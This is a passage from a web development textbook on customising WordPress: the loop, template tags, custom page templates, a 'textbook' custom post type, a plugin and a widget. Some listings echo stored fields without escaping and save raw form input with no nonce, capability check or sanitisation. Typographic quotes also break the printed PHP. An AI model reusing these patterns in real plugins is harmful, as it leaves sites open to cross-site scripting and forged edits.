JavaScript so it should be included. Those functions are WordPress core
functions, which you will learn about as we develop custom page and post
templates, as well as plugins.

Author's Advice
The following section gets into the inner working of WordPress to allow even
further customizing and enhancement—well beyond what is required by the
typical site user. In contrast, most websites do not need much configuration



beyond what can easily be done in WordPress right out of the box. It's
important to point out that before creating your own custom code you should
look for existing (well supported and rated) plug-ins, since a solution may
already exist.

The ability to create custom posttypes, plug-ins, and other advanced aspects
of CMS are important concepts for companies wanting to provide common
hosting, functionality, and custom development to a range of clients. Creating
reusable themes and plug-ins also is also important for the smaller scale
developer, who can potentially tap into the economic market of paid plug-ins.



21.6 Customizing WordPress
Templates
Writing your own WordPress template is the easiest way to integrate your
own custom functionality into WordPress. You've already seen how we can
tinker with a template file. Now you will learn how to build a dynamic
template that pulls data from the WordPress database.

You can make your template as easy for content creators to use as any of the
built-in templates, but first you must understand the way WordPress works,
which means learning about its core classes, the WordPress loop, template
tags, and conditional tags. This is by no means an activity for nondevelopers!

21.6.1 WordPress Loop
The WordPress loop is the term given to the portion of the WordPress
framework that pulls content from the database and displays it, which might
include looping through multiple posts that need to be displayed.

Each template in your theme that displays post information will make use of
the loop, which calls a variety of well-named functions to perform common
tasks. Figure 21.22 shows a simplified visualization of the loop where the
main query determines which content elements are used.



Figure 21.22 Illustrated
WordPress loop

Figure 21.22 Full Alternative Text

Listing 21.4 shows the template taken from the Twenty Sixteen theme's
page.php template that illustrates use of the loop and common WordPress
tags. It creates a header, loops through all posts, and displays the content of
each one (no title, no author, no date) and then outputs a sidebar and a footer.

Listing 21.4 A simple template file
that uses the WordPress loop to
print all posts matching the query
<?php get_header(); ?> 

   <div id=“primary” class=“site-content”> 



      <div id=“content” role=“main”> 

         <?php while ( have_posts() ) : the_post(); ?> 

            <?php get_template_part( 'content', 'page' ); ?> 

            <?php comments_template( '', true ); ?> 

         <?php endwhile; // end of the loop. ?> 

      </div> <!-- #content --> 

   </div> <!-- #primary --> 

<?php get_sidebar(); ?> 

<?php get_footer(); ?>

Because WordPress was written in a functional way to ensure efficient
operation, the loop code can be somewhat tricky to understand for an object-
oriented developer. In reality, there are objects you can access, although they
are hidden from view in the loop.

With an instance of WP_query (defined below) accessible globally throughout
the loop, the methods of that class also used in the loop can now be explored.
Functions have_posts() and the_post() are the shortcut methods of the
WP_query class.

The function have_posts() is the first line of code in the loop, and it returns
true or false depending on whether any posts exist that match the current
query.

If there are posts, we enter the loop and each time through call the_post(),
which retrieves the next post and tells WordPress we are now in the loop.
Once we have called the_post(), and until we call it again (or leave the
loop), there are many functions you can call to get access to particular pieces
of the post.

The function the_content() is just one of many of these functions that draw
from the current post. In this case the main content of the post is displayed,
but not the title, the author, or anything else. The next section goes into
greater detail about some other attributes of the current post, which you have
programmatic access to.

21.6.2 Core WordPress Classes



The WordPress CMS makes use of many PHP classes to represent data
structures in the database and handle and respond to requests. Although you
might be making use of these classes indirectly, there are far too many to
cover in an entire textbook, never mind a single chapter. The core classes we
will explore are WP_Query and WP_User, which you may actually make use of
when creating your own custom templates.

WP_Query
The core idea of any CMS is the separation of content from structure. It
stands to reason then that at some point a CMS must have a mechanism to
mash together structure and content in response to HTTP requests. Although
WordPress provides you with many shortcut methods, under the hood, an
object of type WP_Query stores those requests in a form the WordPress CMS
(and you) can access directly.

By default, WP_Query takes the URL (or post data) and parses it to build the
appropriate object. This is all done automatically as the user makes HTTP
requests by clicking around the site. You never have to explicitly create an
instance of the WP_Query object, although it can be done (for sub-queries, for
example) as follows:

$query = new WP_Query(“post_type=fancy_custom_type”);

When you want WordPress to deviate from the default query, you can use the
method query_posts() to change it and replace it entirely for use in the
WordPress loop.

The $queryString parameter you pass in as a parameter can either be a string
in the same form as a GET request (& separated key-value pairs) or a key-value
array, which is great when you want to pass arrays of arrays to the query.

The valid keys available to be passed to the WP_Query object and
query_posts() are numerous and can be categorized as author, category, tag,
search, page and post, type, status, pagination, order, sticky, and custom
parameters. The complete list is available at the WordPress Codex.8



As you develop you should be aware that

print_r($query->query_vars);

will output all the query values that are currently present so you can easily
find out if you are setting the variables properly.

Most of these parameters have versions that allow a comma-delimited list if
multiple values are to be selected, and the subtraction symbol (-) indicates
exclusion by ID. Working with arrays is more flexible though, so to select
posts by author with ID 7 in category number 1, 2, or 5, except those with tag
17, you would write:

$queryArray= array(“author” => 7, 

       “cat” => array(1,2,5), 

       “tag_not_in” => array(17));

Note
After finishing up with your custom query, you should always reset the query
to remove any variables you had set manually, by calling the
wp_reset_query() method, otherwise your values will persist, and possibly
interfere with the normal setting of parameters done by WordPress.

WP_User and the Current User
In WordPress you are either serving to a logged-in user or a nonauthenticated
user. To get access to the currently logged-in user, you call

$current_user = wp_get_current_user();

This $current_user is an instance of the WP_User class, which can also be
instantiated for any user, if you know their ID. The class has many properties
including ID, first_name, and last_name although the functional access
methods are more commonly used. These functions include the ability to
determine what capabilities a logged-in user has. To ask, for example, if the



current user is allowed to publish a post you would write

$cu = wp_get_current_user();     

if ($cu->has_cap('publish_post',123)) {       

 //the current user is allowed to publish post 123. 

}

Roles determine what capabilities are available to your users, although extra
individual capabilities can be assigned to specific users. Later, when you
create a WordPress plugin, you can assign capabilities to existing roles as
needed. Listing 21.5 contains code to display an edit link to users authorized
to edit the current page, making use of the WP_User class.

21.6.3 Template Tags
Template tags are really functions that can be called from inside the
WordPress loop. Inside of the wp-includes directory of your WordPress
installation, there are files ending with -template.php that contain the
definition of these functions, accessible from within the loop (but you really
needn't look at the source).

With over 100 template tags, you will have to reference the WordPress
documentation to learn about all of them. However, being aware of the
categories of tags and some key ones will enable you to use them right away.
There are usually multiple versions of the same functions listed here; one that
echoes immediately and others that return results as strings or arrays. In
addition, be aware that the naming conventions are not entirely uniform and
so you should read the documentation before using these tags.

General Tags
General tags exist to give you access to global or general things about your
site. Some key tags include:

get_header() includes the header.php file into your page.



get_footer(), like get_header(), includes footer.php into your site.

get_sidebar() works like the methods above, including sidebar.php.

Having an easy way to include header, footer, and sidebar information in
templates ensures consistency between multiple templates in the same theme.
With any of these functions, you can optionally pass a string parameter $name
to include a special version of the header or footer. For example, calling
get_header(“hello”) makes WordPress include header-hello.php instead of
the default header.php.

Author Tags
Author tags grant you access to information about who authored the post.
Since authors are related to WordPress users, you will be able to access all
the fields that can be associated with an author, including their email, full
name, visible name, and links to their detail pages on the site.

The method the_author_meta() can be called with two parameters, the
first being the field you want to retrieve, and the second being the
userID. If no second parameter is passed, the userID for the author of
the current post is used.

Some commonly used fields include: display_name, user_firstname,
user_lastname, user_email, and user_url. Less commonly used ones
include: user_pass, ID, and description.

It should be noted that other shortcut methods also exist to get some of the
common attributes, so you could use the_author_link() and the_author()
functions rather than the_author_meta().

Comment Tags
Comments are a key part of the Web 2.0 experience where readers of your
site can also submit comments. WordPress manages comments for you and



provides the following functions to allow you to programmatically access
comments related to the current post.

comments_template() allows you to import a comment template into
this template much like get_header(). This way all customization for
how comments are displayed can be managed there.

get_comments() outputs the list of comments matching a range of
options passed in.

comment_form() embeds the form to add comments into the page.

Link Tags
Link tags are especially important for a website, since links are the basis for
the WWW. Some important ones include:

the_permalink() contains the permanent URL assigned to this post. It
should be wrapped inside a <a> tag if it is to be clickable.

edit_post_link() can be included if you want editors to easily be able
to browse the site and click the link to edit a page. This is normally used
in conjunction with conditional tags that tell us if the user is currently
logged in.

get_home_url() returns the URL of the site's home page. You can
optionally append a path by passing it as a string parameter. This
modular way of linking to the home page allows you to later change the
host or domain name without having to touch any of your template code.

Page Tags
Although pages are just a particular type of post, they are also associated with
a site hierarchy and the menu. So while they have many essential elements of
posts (described later) such as title, author, and date, they also have:



get_ancestors() returns an array of the ancestor pages to the current
one. They can be used to build a breadcrumb structure.

wp_page_menu() can be used to create submenus of pages.

21.6.4 Creating a Page Template
It is very easy to define specific templates so that you can have different
types of pages. The end goal is that users in WordPress can choose to apply
your new template when editing or creating a page using the dropdown
interface shown in Figure 21.23 .

Figure 21.23 Custom template
selected from list in the
WordPress page editor

Figure 21.23 Full Alternative Text



To get started you should create a folder named page_templates in the child
theme to hold your custom page types. Create a PHP file (ours will be
textbook.php) and add a comment block to define the template name and a
description as shown in Listing 21.5.

Listing 21.5 A custom page template
that displays author, date, content,
comment form, and tag cloud
<?php 

/** 

  * Template Name: Textbook Template 

  * Description: Demonstration of a custom page template 

*/  

?> 

<?php get_header(); ?> 

<div id=“primary” class=“site-content”> 

  <div id=“content” role=“main”> 

     <?php while ( have_posts() ) : the_post(); ?> 

        <div class=“title”> <?php the_title(); ?></div> 

        <div class='author'> 

          This page by: <?php the_author_meta('display_name');?> 

        </div>

        <div class='editor'>Last edited: <?php the_date(); ?> </div>

        <?php 

        echo “<a href='”. get_permalink($post->post_parent) . “'>” .

               get_the_title($post->post_parent) . “</a>”; 

        $current_user = wp_get_current_user(); 

        // is user an editor 

        if ($current_user->has_cap('edit_post')) {  

        ?> 

           <div class=“admin”> 

              PageID: <?php the_ID(); 

              echo “ Page Type: ”.get_post_type().“ ”;  

              edit_post_link(“Edit this page”); ?> 

              <div class='floater'> 

                 <?php                   

                 echo 'Username: ' . $current_user->user_login  

                      . '<br />';                   

                 echo 'First Name:' . $current_user->user_firstname



                      . '<br />';                   

                 echo 'Last Name: ' . $current_user->user_lastname 

                      . '<br />'; 

                 echo 'User ID: ' . $current_user->ID . '<br />'; 

                 ?> 

              </div> <!-- .floater --> 

           </div> <!-- .admin -->  

        <?php 

        }  // end if 

        ?> 

        <div class='content'> <?php the_content(); ?> </div> 

        <div class='tags'> 

           <hr/> <?php    wp_tag_cloud(); ?> 

        </div> <!-- .tags --> 

    <?php endwhile; // end of the loop. ?> 

  </div> <!-- #content -->  

</div> <!-- #primary -->  

<?php get_footer(); ?>

This example theme does several things in addition to displaying pertinent
information about the post as shown in Figure 21.24 . It includes an admin
bar in yellow, which only appears if the user is able to edit and is populated
with some less commonly used fields including the page ID and page type.

Figure 21.24 Annotated
screenshot of the rendering of



the custom template page from
Listing 21.5

Figure 21.24 Full Alternative Text

21.6.5 Post Tags
Post tags are the most essential to the WordPress developer since they grant
you access to the most dynamic part of the site—posts, inside your custom
PHP templates. Much like pages, you can decide how posts will look based
on conditional statements that check properties of the post, including the
author, date, title, category, keyword, permalink, CSS style, metadata, and
anything else that has been added to the default post data. In fact, both pages
and posts have the following data available:

the_content() displays the content of the post; it can optionally display
a summary with a “More” link to all content.

the_ID() returns the underlying database ID, useful elsewhere.

the_title() returns the title of the current post and optionally prints it
out.

the_date() returns the time and date of the post.

A post will also allow you to access category keywords and navigation tags.

Category Tags
Categories and tags, as described earlier, are a key part of WordPress'
taxonomy structure. Some template tags available to you, which draw their
context from the current post (or current WP_Query), include:



the_category() will output a list of clickable links to each category
page which this post belongs to. If you want to separate the categories
output (with a comma, for example), you can pass the separator as the
first parameter.

category_description() outputs the text description associated with
the category of the post.

the_tags() outputs clickable links to tag pages for every tag used in the
post.

wp_tag_cloud() outputs a word cloud using all the tags present in the
site, not the post. This function takes many optional parameters that
allow you to control everything about the cloud from the size of the
cloud, the thresholds for large and small links, number, order, and
more.9

Pagination Tags
The final category of tags to learn about are those related to pagination.
Pagination is the name given to the pattern of breaking a large result set into
pages of results. Pagination takes a load off the server and client since queries
are limited to 10 or 20 matches per page, whereas otherwise queries could
result in building a page with thousands of links. Navigation tags in general
are useful for building a well- interconnected website.

previous_post_link()/next_post_link() provide the links to the
previous and next chronological posts if you wanted to have navigation
forward and backward for single posts.

previous_posts_link()/next_posts_link() are pluralized forms of
the above functions and allow you to get links to the previous or next set
of items (say 10 per page).



21.7 Creating a Custom Post Type
By now you can hopefully see the distinction between a post and a page. The
mechanism that we use to store and manage that distinction is the post type.
You can access the type of a post by using get_post_type() anywhere in the
loop. Types included with WordPress are:

post is the default kind of content post, used for blog entries.

page is a WordPress page, that is, a page associated with a menu item
hierarchy.

attachment defines a post that is an image or file attachment.

revision versioning is also stored, so you can have posts that store
versioning information.

nav_menu_item is reserved for menu items (which are still posts).

In addition to these types you can define your own post types as needed. In
this section you will work toward a custom textbook post type.

21.7.1 Organization
WordPress post types are deeply ingrained in the CMS, and they manifest in
the user interface in both the public site and the administrative dashboard. To
illustrate how much impact a new post type has, we will illustrate the creation
of a textbook type of post to our WordPress installation.

If you were to call that post type textbook, you would be able to surf all posts
of that type by going to http://example.com/textbook/. You could then create
a file named single-textbook.php to handle a single post, and archive-
textbook.php to handle displaying all the textbook posts. Finally a new tab
would appear in the dashboard as shown in Figure 21.25 allowing users to



easily add and manage textbook posts.

Figure 21.25 Dashboard
showing menu links and
interface to create a custom
post type of Textbook

Figure 21.25 Full Alternative Text

All of this integration comes with a price, namely that it's harder to do than
making a new theme. You must explicitly define how the post will look when
displayed to the user, as well as how to display a textbook post for editing.
Moreover you must attach your code snippets into the larger WordPress
framework using actions, which are defined in the plugin section.

Note
The authors strongly recommend that custom post types be created as plugins
rather than modifying the functions.php in your theme, which works for



illustrative purposes, but is less portable and reusable than writing a plugin.

21.7.2 Registering Your Post Type
There is a file in WordPress named functions.php, which allows you to
integrate your own post types into the framework. To define the mere
existence of the post type textbook, you would create a functions.php file in
your child theme. The code in Listing 21.6 defines the textbook type and
attaches an action to call our textbook_init() function when WordPress
initializes.

Hands-on Exercises Lab 21
Exercise
Custom Post Type

Unlike style.css, the functions.php of a child theme does not override its
counterpart from the parent. Instead, it is loaded in addition to the parent's
functions.php.

Listing 21.6 Registering a new post
type in a theme's functions.php
<?php 

function textbook_init() { 

  $labels = array( 

        'name'  =>      ('Textbooks'), 

        'singular_name'      =>      ('Textbook'), 

        'add_new_item' =>      (“Add new Textbook”), 

     ); 

  $args = array( 

        'labels'        => $labels, 



        'description'   => 'Holds textbooks', 

        'public'        => true, 

        'supports'      => array( 'title', 'editor', 'thumbnail', 

                                  'excerpt', 'comments' ), 

        'has_archive'   => true, 

     ); 

  register_post_type(  'textbook', $args ); 

} 

add_action( 'init',  'textbook_init' );

The definition of an action comes later. For now it's enough to understand
that you are defining the interface elements (menu items, directory slugs, and
links) for the textbook post type and attaching them to WordPress. The
$labels array overrides the default labels used for posts10 to allow for labels
that make sense for your new post type. After saving the file and refreshing
the dashboard, you should see the new post type as in Figure 21.25 .

21.7.3 Adding Post-Specific Fields
The reason you normally create a specific type of post is that you can
systematically define a new category of “item” in such a way that users can
easily enter them. In our textbook example, you might want to say that all
textbook posts require details such as publisher, date of publishing, and
authors. Ideally users could enter those details in the same way as other posts
data as shown in Figure 21.26 .





Figure 21.26 Textbook editor
with additional fields related to
textbooks
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To add those fields to the form, you must use the add_meta_box() function to
define the desired fields and finally attach it to the existing WordPress
framework by calling another action, all of which is shown in Listing 21.7.

Listing 21.7 Code to attach fields to
the editing interface
function textbook_admin_init() { 

   add_meta_box( 

            'textbook_details', // $id 

            'Textbook Details', // $title 

            'textbook_callback', // $callback 

            'textbook', // $post_type 

            'normal', // $context  

            'high' // $priority  

          ); 

   function textbook_callback() { 

      global $post; 

      $custom = get_post_custom($post->ID); 

      $publisher = $custom['textbook_pub'][0]; // publisher  

      $author = $custom['textbook_author'][0]; // authors    

      $pub_date = $custom['textbook_date'][0]; //date 

?> 

Please enter the required details for a textbook here. 

<div class=“wrap”> 

<p><label>Publisher:</label><br /> 

<input name=“textbook_pub” value=“<?php echo $publisher; ?>” /></p>

<p><label>Author(s):</label><br /> 

<input name=“textbook_author” value=“<?php echo $author; ?>” /></p>



<p><label>Date:</label><br /> 

<input name=“textbook_date” type=“date”  

       value=“<?php echo $pub_date; ?>” /></p> 

</div> 

<?php 

 } 

} 

// add function to put boxes on the 'edit textbook post' page  

add_action( 'admin_init', 'textbook_admin_init' );

21.7.4 Saving Your Changes
All of this looks great in the back-end editor, but if you were to save your
new textbook type post, the changes to your custom fields would be lost (a
regular post would be saved). A final step to actually making our fields stick
is to add one more action to the administrative interface so that when an
editor saves the post, the fields are saved as well.

In WordPress all fields are saved as metadata, and we are already accessing
the fields with the following:

$custom = get_post_custom($post->ID);

You see that we reference $custom[textbook_pub][0] for example. To save
that field, we must then save to the custom field with that name using the
update_post_meta() function. Saving all the additional information is as
easy as processing the fields on submit as shown in Listing 21.8.



Listing 21.8 Code to save input
values from custom fields when the
user saves/creates a textbook post
function textbook_save_data() { 

  global $post; 

   update_post_meta($post->ID, 'textbook_pub',  

                    $_POST['textbook_pub']); 

   update_post_meta($post->ID, 'textbook_author',  

                    $_POST['textbook_author']); 

   update_post_meta($post->ID, 'textbook_date',  

                    $_POST['textbook_date']);

} 

// attach your function 

add_action('save_post',  'textbook_save_data');

21.7.5 Under the Hood
Now that we have a custom post type that is being saved and recovered from
the WordPress database, it's worth looking at how WordPress structures data
in MySQL.

Two tables are used in creating custom posts. The first is the wp_posts table
where things like the post date, author, title, status, and type are located.
Related directly to that is a wp_postmeta table, which is where our custom
fields are stored as shown in Figure 21.27 .



Figure 21.27 ERD for the posts
and post_meta tables in
WordPress
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In the back of your mind you may be wondering whether you could transform
an existing dataset you have into custom posts. That kind of data
transformation is actually quite common in web development and encouraged
as an exercise for the reader.

21.7.6 Displaying Our Post Type
Now that we have a post type defined and can save new items to the
database, it's time to look at how we write the template files to actually
display textbooks.

Hands-on Exercises Lab 21
Exercise
Display a Post

This is the fun part, since you get to create output that will be seen by actual
users while making use of all the hard work that went into defining your own
type of post. It's largely like going back to customizing existing WordPress
templates, but better since they are your own post types and can be
manipulated as needed.

You will need to define at least two templates. The first one is stored in
single-textbook.php and displays a single textbook, and the second is an
archive of all the posts matching the type served from the file archive-
textbook.php. By naming the files appropriately and putting them in the root
of your theme, the query is automatically generated from the URL as
mentioned in the Organization section earlier in this chapter.

In both cases, the template can access all of the custom meta fields you stored
earlier by using the get_post_custom() function.



Note
If you are using a permalinks structure in your WordPress installation, you
may need to toggle it off and back on for the association between URLs and
the templates to take effect. If you have permalinks disabled, you will see the
templates working immediately since the links are query strings, which are
interpreted correctly. Permalinks will not work if they are already enabled.
This note even appears in the official WordPress documentation, so they are
aware of the problem.

Single-Post Template
The template for a single post is pretty straightforward, although it's worth
going over briefly. The code in Listing 21.9 displays the main loop for the
single-textbook.php template. In addition to displaying the textbook
metadata, it has a link back to the archive page of all textbooks by using
get_post_type_archive_link(“textbook”). There are also links to go
forward and backward to the last-added books using the next_post_link()
and previous_post_link() link functions.



Listing 21.9 The single-textbook.php
template excerpt used to format and
output a single textbook post
<?php while ( have_posts() ) : the_post(); ?> 

  <div class=“title”> <?php the_title(); ?> </div> 

  <?php 

      global $post; 

      $custom = get_post_custom($post->ID); 

      $author = $custom['textbook_author'][0];  //authors  

      $pubdate = $custom['textbook_date'][0];  //date    

  ?> 

  <div class='author'>  

     By: <?php echo $author.“ (”.$pubdate.“)”; ?></div> 

  <div class='content'>    <?php the_content(); ?> </div> 

<?php endwhile;  // end of the loop.  ?>    

<a href='<?php echo  get_post_type_archive_link(“textbook”);?>'> 

Browse all Textbooks</a> 

<?php 

//navigation to newer/older posts 

echo “Older Post: ”; next_post_link();  

echo “Newer Post: ”; previous_post_link(); 

?>

Archive Page Template
The archive template is more complicated in that it is intended to display
many links to single post templates as described above. Matters become
complicated when there are lots and lots of books, since a simple page would
list them all. Listing 21.10 implements a decent archive page for the textbook
post type. It lists both the name and author with a link to the detail page,
while having pagination at the bottom to navigate many textbooks.

Listing 21.10 The archive-



textbook.php file, which is called
upon to to display a list of textbooks
<?php while ( have_posts() ) : the_post(); ?> 

  <div class=“title”> 

     <a href=' <?php the_permalink();?> '> <?php the_title(); ?> </a>

  </div> 

  <?php 

     global $post;    //access the custom meta fields 

     $custom = get_post_custom($post->ID); 

     $author = $custom['textbook_author'][0];  //authors    

     $pubdate = $custom['textbook_date'][0];  //date  

  ?> 

  <div class='author'>    

     By: <?php echo $author.“ (”.$pubdate.“)”; ?> 

  </div> 

<?php endwhile;  // end of the loop.  ?>    

<div class=“nav-previous”><?php next_posts_link(“Older Books”); ?>

</div> 

<div class=“nav-next”><?php previous_posts_link(“Newer Books”); ?></div>

Changing Pages Per Archive Page
One of the customizations you may want to make is to change how many
posts are shown in an archive page. To accomplish that you have to add a
filter to functions.php so that for our textbook post type the value is say 20
books, rather than the default (illustrated in Listing 21.11).

Listing 21.11 Filter added to change
the number of textbooks to display
per page
function  custom_posts_per_page($query) 

{ 



  if ( $query->query_vars['post_type'] =='textbook') 

     $query->query_vars['posts_per_page'] = 20; 

  return $query; 

} 

add_filter( 'pre_get_posts',  'custom_posts_per_page' );

By this point, you must be asking what actions and filters are. Worry not, we
will be discussing them next.



21.8 Writing a Plugin
Plugins allow you to write code independent of the main WordPress
framework and then use hooks, filters, and actions to link to the main code.
This design allows the user to choose any theme independent of your plugin
(well, almost; it turns out that there are couplings between plugins and
themes that limit how interchangeable themes and plugins are).

Hands-on Exercises Lab 21
Exercise
Write a Plugin

21.8.1 Getting Started
As mentioned when we first started developing our custom post type, a
plugin is a better way to add textbook page functionality. A plugin can be
added to any theme so you could add textbook functionality without touching
the user's own templates (and future updates). Thankfully we have a time
machine of sorts, in the form of the parent theme we never modified. Begin
writing a plugin by turning off our theme and changing back to the default
Twenty Sixteen theme. Your textbook posts will still exist, but not be visible
anywhere. To illustrate the anatomy of a plugin, you will modify the textbook
post type into a full-fledged plugin.

Much like themes, WordPress plugins reside in their own folder /wp-
content/plugins/. Like themes, you should begin by creating a folder to
contain all the files for your plugin. Name the plugin folder something
unique, which has not yet been used. To avoid conflict with existing plugins,
we will use funwebdev-textbook. If you want to distribute the plugin through



WordPress.org, we also need a well-defined readme.txt file as described on
the WordPress website.11

Our first act is to create the main file for the plugin, index.php, inside our
folder. The file must have a comment block as shown in Listing 21.12 to
define aspects of the plugin, much like a theme. Once the file is created, the
plugin will be visible in the dashboard list of plugins, but will not yet be
activated.

Listing 21.12 Comment that defines
a plugin inside /wp-
content/plugins/funwebdev-
textbook/ index.php
<?php 

/*   

Plugin Name: TextBook Plugin (funwebdev)  

Description: Allows for management of textbooks  

Version: 1.0  

Author: Ricardo Hoar  

License: GPL2  

*/ 

?>

21.8.2 Hooks, Actions, and Filters
Hooks are events that occur during the regular operation of WordPress. A
complete listing can be found at the Codex12 or at Adam Brown's WordPress
Hooks Database.13

As the CMS is running along, each time it encounters a hook, it checks to see
if any plugins would like to run code in that place. We've already used hooks
when we created custom textbook post templates. It turns out that hooks



come in two varieties: actions and filters, both of which we've already used!

Actions and Filters
Actions are PHP functions executed at specific times in the WordPress core.
You, as a plugin developer, can write your own actions and hook them into
WordPress. Hooking your own action replaces any existing action with the
same name.

Filters in WordPress allow you to choose a subset of data before doing
something with it, like displaying 20 posts on a page rather than 10. Filter
functions take in some data and return a subset of that data (the filtered set).
Listing 21.11, for example, took in the full query and modified it to filter the
top 20.

The add_action(hook, callback) and add_filter(hook, callback)
methods attach your callback function to a particular WordPress hook. When
the WordPress hook is reached during regular execution, your callback
function is called.

Similarly, do_action() and apply_filters() let you call callback functions
already registered to hooks from within your code.

Convert Your Page Type Template
to a Plugin
Since there is a relationship between templates and plugins, you will be
happy to learn that you can move code already written and described from
your child theme's functions.php file. Start the code conversion by taking all
the code we added to functions.php in the child theme and adding it to our
plugin's index.php. Recall this code attached the definition of the textbook
page, and added code to properly display textbooks in the admin interface.



21.8.3 Activate Your Plugin
With your plugin folder and code in place, the next step is to activate your
plugin from the dashboard as shown in Figure 21.28 . Activation enables the
plugin by running all the hooks so defined. Note you can also delete the
plugin from here if you have the right permissions.

Figure 21.28 View of the plugin
activation area in the
dashboard

Right away, with the plugin activated you will see the ability to add a
textbook post that has returned. All that is missing is the customization theme
file that changes the way the archive and single textbook posts are styled.

In a testament to the redundancy of WordPress, though, the archive and
single-view pages still work, since the default single.php and archive.php
templates take over when the textbook post-specific template is not found.

21.8.4 Output of the Plugin
You're almost done with the plugin, except that the custom textbook posts are
displaying using the default post template. To finish this plugin, you must
move the code from the templates into the plugin file (index.php).

Replacing content on posts with page type textbook is as simple as attaching
a filter to the hook for displaying the content, shown in Listing 21.13.



Listing 21.13 Replacing
the_content() with a filter for our
Textbook plugin
function textbook_content_display($content) { 

   global $post; 

   //check for the custom post type 

   if (get_post_type() != “textbook”) {

      return $content;  

   } 

   else { 

      $custom = get_post_custom($post->ID); 

      $newContent='<div class=“title”>'. get_the_title($post->ID).

                  '</div>'; 

      $author = $custom['textbook_author'][0];  //authors    

      $pubdate = $custom['textbook_date'][0];  //date  

      $newContent .= '<div class=“author”> By:' . $author; 

      $newContent .= '(' . $pubdate . ')</div>'; 

      $newContent .= '<div class=“content”>' . $content . '</div>';

      return $newContent; 

   } 

} 

add_filter('the_content','textbook_content_display');

Now your textbook pages are rendered using this modified template code.
Distinguishing the output for archive pages and single pages is left as an
exercise to the reader. Hint: Check out the conditional tags such as
is_single().

21.8.5 Make It a Widget
To the user, widgets are easy-to-manage and customizable components they
can add to the sidebar. From the WordPress Codex a widget is defined14 as
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Exercise
Define a Widget

a PHP object that echoes string data to STDOUT when its widget()
method is called.

To create a widget that displays a random book, we therefore only have to
define one function for displaying the content of the widget. The code in
Listing 21.14 defines the textbook widget and hooks it to the administrative
panel using the wp_register_sidebar_widget() method.

Listing 21.14 Registering a sidebar
widget that displays a random
textbook
function textbook_widget_display($args) { 

   echo $before_widget; 

   echo $before_title . '<h2>Random Book</h2>' . $after_title; 

   echo $after_widget; 

   $args = array( 

                'posts_per_page' => 1, 

                'post_type' => array('textbook'), 

                'orderby' => “rand” 

                ); 

   $bookQuery = new WP_Query(); 

   $bookQuery->query($args); 

   while ( $bookQuery->have_posts() ) : $bookQuery->the_post(); 

      the_content(); 

   endwhile; 

} 

// Register 

wp_register_sidebar_widget( 

   'funwebdev_textbook_widget',// unique widget id     



   'Random Textbook',          // widget name  

   'textbook_widget_display',  // callback function  

   array(                      // options   

        'description' => 'Displays a random Textbook' 

   ) 

);

The end result is a widget in the Widget dashboard just like any other.
Installers of your plugin can now add it to sidebars if they want, and choose
which pages it will appear on. The only step remaining would be to register
with WordPress and get your plugin added to their inventory so that anyone
could download and use it.

Before you do that, remember that true widget creation involves more than
cramming a post type into a widget. What suited our purposes to get through
so many techniques in one chapter should not be taken as the correct
technique for thoughtful widget development.



21.9 Chapter Summary
We began this chapter by learning about what a CMS is, and what problems
it solves for us. We then described the characteristics of a web-based CMS
using WordPress as our example. Then we began to draw back the layers of
the proverbial onion to expose how themes are created and changed, which
moved quickly into custom template and custom post types. The techniques
for customizing templates were then applied to building a plugin and a
widget, demonstrating the wide variety of ways in which a developer can
customize the WordPress CMS.

21.9.1 Key Terms
actions

asset management

content creators

content management system (CMS)

content publishers

document management system (DMS)

filters

hooks

menu control

pages

pagination



permalinks

plugins

posts

site manager

super administrator

template management

template tags

user management

user role

What You See Is What You Get (WYSIWYG)

WordPress loop

WordPress templates

WordPress themes

WordPress widgets

workflow

21.9.2 Review Questions
1. 1. What features do all document management systems have?

2. 2. What does a WYSIWYG editor provide to the end user?

3. 3. What are the two content management systems written in PHP?



4. 4. What is the role of user management in a web content management
system?

5. 5. What are the advantages and drawbacks of a multisite installation?

6. 6. What is the difference between a post and a page in WordPress?

7. 7. How does one override the default query in WordPress?

8. 8. What does the WordPress loop refer to?

9. 9. In what ways can you customize a WordPress site?

10. 10. What are the three attributes of a post you can access inside the
loop?

11. 11. What is the relationship between templates and themes in
WordPress?

12. 12. What's the difference between a template and a plugin?

13. 13. What does it mean to register a post type?

14. 14. What is a WordPress hook and how is it related to plugins?

15. 15. How do filters relate to hooks?

21.9.3 Hands-On Practice
Unlike previous chapters, getting experience with WordPress requires
starting with a fresh installation and working upward from there. These
projects are therefore a variation of the Travel Photo project in spirit,
although in practice they will not be able to use all the code we have written
thus far.

Project 1: Convert Your Project to



WordPress

Difficulty Level: Intermediate

Overview
This project has you convert one of your existing sites into WordPress. We
have chosen the Share Your Travel Photos site, but you could convert any of
the three projects.

Hands-on Exercises
Project 21.1

Instructions
1. Download and install the latest version of WordPress.

2. Create a child theme from the Twenty Sixteen theme (or another)
included with the installation.

3. Update the CSS styles to look more like your original site as illustrated
in Figure 21.29 .





Figure 21.29 Illustration of
eventual end goal of Project
21.1

Figure 21.29 Full Alternative Text

4. Create your own template files in your theme to define your own HTML
markup that uses HTML5 semantic elements, as you did back in Chapter
3. You should start with header.php, footer.php, and sidebar.php, since
they are included in every page.

5. Now copy template files single.php and archive.php from the parent
theme and begin changing their output in the WordPress loop to closely
match that of the earlier defined site from Chapter 4. These templates
will format HTML output for a single post and multiple posts
respectively. Both template files single.php and archive.php will use the
header.php, footer.php, and sidebar.php templates defined in the last
step.

Test
1. Test the page in the browser. Verify that the WordPress site looks like

the design we've been working with.

Project 2: Import an Existing Site
into WordPress

Difficulty Level: Hard



Overview
This project builds on Project 21.1, and focuses on transferring the content
you have worked on into the WordPress framework.

Hands-on Exercises
Project 21.2

Instructions
1. Revisit your restyled WordPress installation from Project 21.1. Remove

all default data from the site, including pages, posts, and categories.
Hint: This can be done through a plugin, SQL commands, or manually.

2. Define categories that make sense for your travel photo site.

3. Upload all the image assets to WordPress either through the media
manager interface or manually into the upload location.

4. Write a script to import your content into WordPress's structure. This
requires writing SQL queries to read data from your existing database,
and then transform it to write to the WordPress tables. PHP is a good
language to develop this script because it may take a few tries and
require some intermediate manipulation.

You should start with user/author information, since those IDs will be
referenced from the posts and images.

When importing the actual posts, ensure that the path to the images reflects
their new location, and that the reference to the author uses the new ID from
WordPress.



Test
1. Test the page in the browser. Look to see that the posts and author pages

still work as expected, and that all the links work correctly.

PROJECT 3: Define a Custom Post
Type for Images

Difficulty Level: Hard

Overview
Although our content has been imported, it will still not have all the
functionality of our former site. Images, for example, are not yet handled in a
special way to associate them with extra information like latitude, longitude,
and titles, etc. Also following users on the site is not supported out of the
box.

Hands-on Exercises
Project 21.3

Instructions
1. Install a plugin to add social network capabilities to your site, so that

